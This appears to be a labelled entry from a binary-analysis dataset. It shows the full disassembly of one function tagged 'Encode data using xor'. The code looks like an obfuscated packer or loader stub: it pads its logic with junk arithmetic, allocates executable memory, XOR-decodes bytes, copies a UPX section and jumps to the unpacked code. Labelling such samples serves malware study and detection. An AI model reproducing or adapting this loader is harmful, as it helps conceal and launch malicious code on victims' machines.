Function at 0x4c472c
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xb6402ea7
dec edi
or edi, edi
not edi
popal
and edx, edx
add edi, 1
add edi, 0xa91fd406
mov ebx, 0
mov ecx, edi
or esi, edx
sub esi, 0x74983b27
add esi, edx
mov eax, ecx
not esi
inc edx
add esi, 0xf1f4b0f4
mov edi, eax
not edx
sub edx, esi
mov edx, 0x2b4e8f13
inc ebx
or edx, edx
mov edx, esi
add esi, 0x6c8df0c2
cmp ebx, 0x100c206
jne 0x4c474b
add edx, esi
and edx, esi
add edx, edx
or edx, edx
not edi
mov edi, 0x4c4516
mov esi, 0x803e4d4d
and esi, ecx
and ebx, esi
mov eax, 0x4c470a
sub ebx, ecx
and esi, ebx
mov ecx, ebx
mov edx, dword [edi]
and ebx, ecx
mov esi, 0xece52f5a
sub ebx, ecx
and edx, 0xff
add esi, 0xba571c79
add ecx, 0xb7e9669e
xor dword [eax], edx
sub esi, 0x1d23a0dc
sub ebx, 0xc1bba114
and esi, esi
inc eax
and esi, ebx
sub ebx, esi
inc esi
inc edi
add ecx, 0xb6e54a17
add ebx, ebx
or esi, ecx
cmp eax, entry0
jl 0x4c47a7
mov ebx, esi
sub esi, 0x7e2feb9e
add ebx, 0xb75d12c4
add ecx, 0x8a14436c
or ecx, ebx
mov esi, ecx
dec ebx
and esi, edi
mov edx, 0x4c470e
inc ecx
add esi, edi
sub esi, 1
mov edx, dword [edx]
sub esi, ecx
add ebx, 1
mov edx, dword [edx]
add ebx, 1
or edi, ecx
or ecx, ebx
push edx
dec edi
mov edi, esi
mov edx, 0x4c470a
add ebx, ecx
or edi, ecx
mov edx, dword [edx]
mov ebx, 0x6eb0c6b0
mov esi, 0xa4426865
not esi
mov edx, dword [edx]
and edi, edi
sub ecx, 0x68639e9d
sub esi, 0x4a0d70c
push 0x4c4712
mov ebx, esi
sub edi, esi
dec edi
call edx
add edi, 0x1962e62e
and edi, ebx
pop edx
sub ecx, ebx
inc ecx
sub esp, 4
mov dword [esp], 0x4c471f
or esi, esi
not esi
inc esi
push eax
add ecx, esi
sub ebx, edi
call edx
add edi, 1
sub ecx, esi
push 0x40
sub ecx, 1
sub esi, 0x5bacdaba
push 0x3000
dec edi
add ebx, 0xcbbdbb1c
push 0x20000222
or esi, esi
not ecx
push 0
add edi, 0xa9349077
add edi, 0xb01a61d
call eax
sub esi, 0xff33f1
add ebx, 0x1137c651
mov ebx, 0x3d2df783
add eax, 0x200001b9
inc ebx
sub edi, 0xf3f53849
mov edx, 0x217a7374
mov esi, 0xcfdbf6c
not ebx
sub edi, ebx
mov dword [eax], edx
sub ebx, 1
sub edi, 0x192a56d4
add ecx, 0x909c3a12
mov edx, dword [eax]
add edi, 0x1e6fc39d
add esi, ebx
not edi
cmp edx, 0x217a7374
je 0x4c4925
mov ecx, 0
mov byte [ecx], al
add edi, 0x367952ba
mov esi, 0x77755190
mov edi, 0x4c7e28ea
mov ebx, 0xc7b612b1
add edi, 0xdd8684c3
mov ebx, ecx
sub edx, edi
not edx
mov esi, section.UPX1
mov edi, 0x797b422d
add edx, edx
sub edx, edi
mov ecx, 0x4c4515
sub edi, 0x4df272d5
sub edi, edx
mov eax, 0
sub edx, edi
mov edi, 0x439c2b91
mov ebx, 0x4c4516
inc edx
dec edx
add edx, 0x4b245b21
lea ebx, [ebx + eax]
mov edi, 0x6302f880
and edx, edi
mov ebx, dword [ebx]
and edx, edi
not edx
and ebx, 0xff
and edi, edx
and edi, edx
inc eax
inc edi
dec edi
cmp eax, 0x1f4
jne 0x4c49a4
mov eax, 0
sub edi, 0x87c469ed
add edi, edi
and edi, edi
add edx, edi
xor dword [esi], ebx
sub edx, edi
and edx, edx
add esi, 2
sub edx, 0x57d9105d
add edx, edx
mov edi, 0xfa19c062
cmp esi, ecx
jl 0x4c496d
sub edi, 0x24f6654c
or edx, edx
sub edi, 0x7ebd5882
and edi, edi
not edi
mov edx, section.UPX1
add edi, esi
add esi, edi
add esi, 0xfaae0849
mov ecx, section.UPX1
or edi, esi
inc edi
mov edi, esi
mov eax, 0x4c4515
or edi, esi
and esi, edi
not esi
mov ebx, 0
or esi, esi
or edi, edi
mov bl, byte [ecx]
sub esi, edi
inc esi
sub edi, 1
mov byte [edx], bl
add edi, esi
add esi, 0xc0c995c1
inc edx
mov edi, 0xbedf2765
sub esi, 0xc267ca2b
or edi, edi
add ecx, 2
inc edi
sub edi, 0xc27019aa
cmp ecx, eax
jle 0x4c4a10
not esi
add esi, 0xb783e5ed
or edi, edi
add edx, 0xbe698c62
add edx, 0x35d77a6f
push 0x4956a0
dec edi
sub edi, 0xda99a362
and edi, edi
ret